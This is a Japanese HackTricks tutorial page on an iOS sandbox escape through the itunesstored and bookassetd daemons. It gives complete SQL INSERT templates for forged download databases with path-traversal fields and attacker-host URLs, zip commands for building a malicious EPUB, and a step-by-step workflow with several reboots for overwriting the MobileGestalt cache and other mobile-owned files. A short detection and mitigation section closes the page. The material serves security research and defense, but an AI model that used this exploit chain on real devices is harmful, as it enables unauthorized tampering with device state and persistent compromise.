itunesstored & bookassetd Sandbox Escape

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

最近の調査では、プリインストールされた iOS デーモンである itunesstored(ダウンロードマネージャ)と bookassetd(Books / iBooks のアセットマネージャ)が、ユーザーが書き込み可能な SQLite メタデータを無批判に信頼していることが示されています。精巧に作成した downloads.28.sqlitedbBLDatabaseManager.sqlite ファイル、及び最小限の EPUB アーカイブを配置することで、/var/mobile/Media/ 配下に書き込み可能な攻撃者は、これらのデーモンを強制して /private/var/ 内の大部分の mobile 所有パスへ任意のファイル書き込みを行わせることができます。これらのプリミティブは再起動後も残存し、systemgroup.com.apple.mobilegestaltcache のような system group キャッシュを改ざんしてデバイスプロパティを偽装したり、設定を永続化したりできます。

主な特徴:

  • 少なくとも iOS 26.2b1 までのデバイスで動作(iPhone 12 / iOS 26.0.1 でテスト済み)。
  • 書き込み可能なターゲットには SystemGroup キャッシュ、/private/var/mobile/Library/FairPlay/private/var/mobile/Media、およびその他の mobile 所有ファイルが含まれます。root 所有のファイルへの書き込みは失敗します。
  • 必要なのは AFC レベルのアクセス(USB ファイルコピー)か、ターゲットの SQLite DB を置き換えペイロードをアップロードできる任意のフットホールドのみです。

脅威モデルおよび要件

  1. /var/mobile/Media/Downloads//var/mobile/Media/Books/ へのローカルファイルシステムアクセス(3uTools、i4.cn のような AFC クライアント、または USB 経由の afcclient など、あるいは既存の侵害)。
  2. 攻撃者ファイル(BLDatabaseManager.sqliteiTunesMetadata.plist、細工した EPUB)をホストする HTTP サーバー(例: https://ATTACKER_HOST/fileprovider.php?type=...)。
  3. 各デーモンがデータベースを再読み込みするためにデバイスを複数回再起動できる能力。
  4. Books system-group の UUID を把握しておくこと(ステージ1 の書き込みが正しいコンテナに着地するようにする。syslog から見つける)。

ステージ1 – itunesstored を介した downloads.28.sqlitedb の悪用

itunesstored/var/mobile/Media/Downloads/downloads.28.sqlitedb を処理します。asset テーブルは URL と保存先のメタデータを保持しており、信頼された入力として扱われます。攻撃者の URL を指す行を作成し、その local_path を Books の SystemGroup 内の .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite に設定すると、itunesstored は起動時にダウンロードを行い Books データベースを攻撃者の内容で上書きします。

Books SystemGroup UUID の特定

  1. pymobiledevice3 を使って syslog アーカイブを収集します:
pymobiledevice3 syslog collect logs.logarchive
  1. Console.applogs.logarchive を開き、bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite を検索します。
  2. <UUID> を記録し、SQL ペイロード内に置き換えます。

悪意のある asset

ステージ1 INSERT テンプレート ```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup//Documents/BLDatabaseManager/BLDatabaseManager.sqlite', NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0, NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0, NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1 ); ```

重要なフィールド:

  • url: マリシャスな BLDatabaseManager.sqlite を返す攻撃者管理下のエンドポイント。
  • local_path: 上で特定した Books system-group の BLDatabaseManager.sqlite ファイル。
  • 制御フラグ:デーモンがタスクを受け入れるよう、デフォルトを維持(asset_type='media'path_extension='epub'、テンプレートのとおりブール値を0/1に設定)。

展開

  1. 競合を避けるため、古い /var/mobile/Media/Downloads/* エントリを削除する。
  2. AFC を介して downloads.28.sqlitedb を作成した DB と差し替える。
  3. Reboot → itunesstored が Stage 2 データベースをダウンロードし、/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist を配置する。
  4. その plist を /var/mobile/Media/Books/iTunesMetadata.plist にコピーする;Stage 2 はその場所にあることを期待する。

Stage 2 – bookassetd を介した BLDatabaseManager.sqlite の悪用

bookassetd はより広範なファイルシステム entitlements を持ち、ZBLDOWNLOADINFO テーブルを信頼します。攻撃者の URL を参照し、ZPLISTPATH に traversal を含む偽の購入行を挿入することで、デーモンは EPUB を /var/mobile/Media/Books/asset.epub にダウンロードし、後にメタデータを ../../.. エスケープシーケンスで到達可能な任意の mobile 所有パス に展開します。

悪意ある ZBLDOWNLOADINFO

Stage 2 INSERT テンプレート ```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```

重要なフィールド:

  • ZASSETPATH: 攻撃者が制御するオンディスクのEPUBの場所。
  • ZURL/ZPERMLINK: EPUBと補助plistをホストする攻撃者のURL。
  • ZPLISTPATH: ../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library – EPUBから抽出されたファイルに追加されるパストラバーサルの基点。目的のSystemGroupターゲットに到達するためにトラバーサルの深さを調整する。
  • 購入メタデータ(ZSTOREIDENTIFIER、名前、タイムスタンプ)は、デーモンが行を破棄しないように正当なエントリを模倣する。

Stage 1のおかげで、悪意あるDBを /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite にコピーし、2回再起動すると、bookassetd は (1) EPUBをダウンロードし、(2) それを処理して派生したplistを書き込み、トラバースしたパスの下に配置します。

EPUBペイロードの作成

bookassetd は EPUB の ZIP 形式を尊重します: mimetype は最初の未圧縮エントリでなければなりません。EPUB の内容を MobileGestalt キャッシュにマップするには、ZPLISTPATH を基準に目的のパスを反映するディレクトリツリーを構築します。

Caches/
├── mimetype
└── com.apple.MobileGestalt.plist

アーカイブを作成する:

zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
  • mimetype は通常リテラル application/epub+zip を含みます。
  • Caches/com.apple.MobileGestalt.plist は攻撃者制御のペイロードを保持し、それが .../Library/Caches/com.apple.MobileGestalt.plist に配置されます。

オーケストレーション ワークフロー

  1. ファイルを準備する — 攻撃者のHTTPサーバ上にファイルを置き、ホスト/UUID固有の値を埋めた両方のSQLite DBを作成します。
  2. downloads.28.sqlitedb を置き換える — デバイス上の downloads.28.sqlitedb を置き換えて再起動すると、Stage 1 が悪意ある BLDatabaseManager.sqlite をダウンロードし、/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist を出力します。
  3. iTunesMetadata.plist をコピーする/var/mobile/Media/Books/iTunesMetadata.plist にコピーします(デーモンが削除する場合は繰り返します)。
  4. 再起動するbookassetd が Stage 2 のメタデータを使って asset.epub/var/mobile/Media/Books/ にダウンロードします。
  5. 3回目の再起動bookassetd がダウンロードしたアセットを処理し、ZPLISTPATH に従って EPUB の内容をターゲットの SystemGroup パス(例: com.apple.MobileGestalt.plist)に書き込みます。
  6. 検証する — 上書きされた plist を読み取るか、MobileGestalt 由来のプロパティ(model identifier、activation flags など)が変更されていることを確認します。

同じパターンにより、FairPlay の状態や永続化ディレクトリなど、他の mobile 所有のキャッシュ配下にファイルを配置でき、カーネルエクスプロイトを必要とせずにステルスな改ざんが可能になります。

ツール & 運用ノート

  • pymobiledevice3 syslog collect logs.logarchive – ログアーカイブを抽出して Books の SystemGroup UUID を特定します。
  • Console.appbookassetd [Database]: Store is at ... をフィルタリングして正確なコンテナパスを復元します。
  • AFC clients (afcclient, 3uTools, i4.cn) – ジェイルブレイク不要で USB 経由で SQLite DB や plist を push/pull します。
  • zip – ペイロードをパッケージする際に EPUB の順序制約を強制します。
  • Public PoChttps://github.com/hanakim3945/bl_sbx はカスタマイズ可能なベースラインのSQLite/EPUBテンプレートを提供します。

検出 & 緩和のアイデア

  • downloads.28.sqlitedbBLDatabaseManager.sqlite を信用できない入力として扱う: local_path / ZPLISTPATH が許可されたサンドボックス内に収まることを検証し、完全修飾パスやトラバーサルトークンを拒否します。
  • これらのデータベースを置き換える AFC 書き込みや、ブート直後に itunesstored / bookassetd によって開始される予期しないダウンロードを監視します。
  • bookassetd の展開処理を強化して出力ターゲットに対して realpath() を適用し、ファイルを書き込む前に Books コンテナの外に出られないことを確認します。
  • AFC / USB ファイルコピー経路を制限するか、Books/iTunes のメタデータファイル置換を許可する前にユーザ操作を要求します。

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする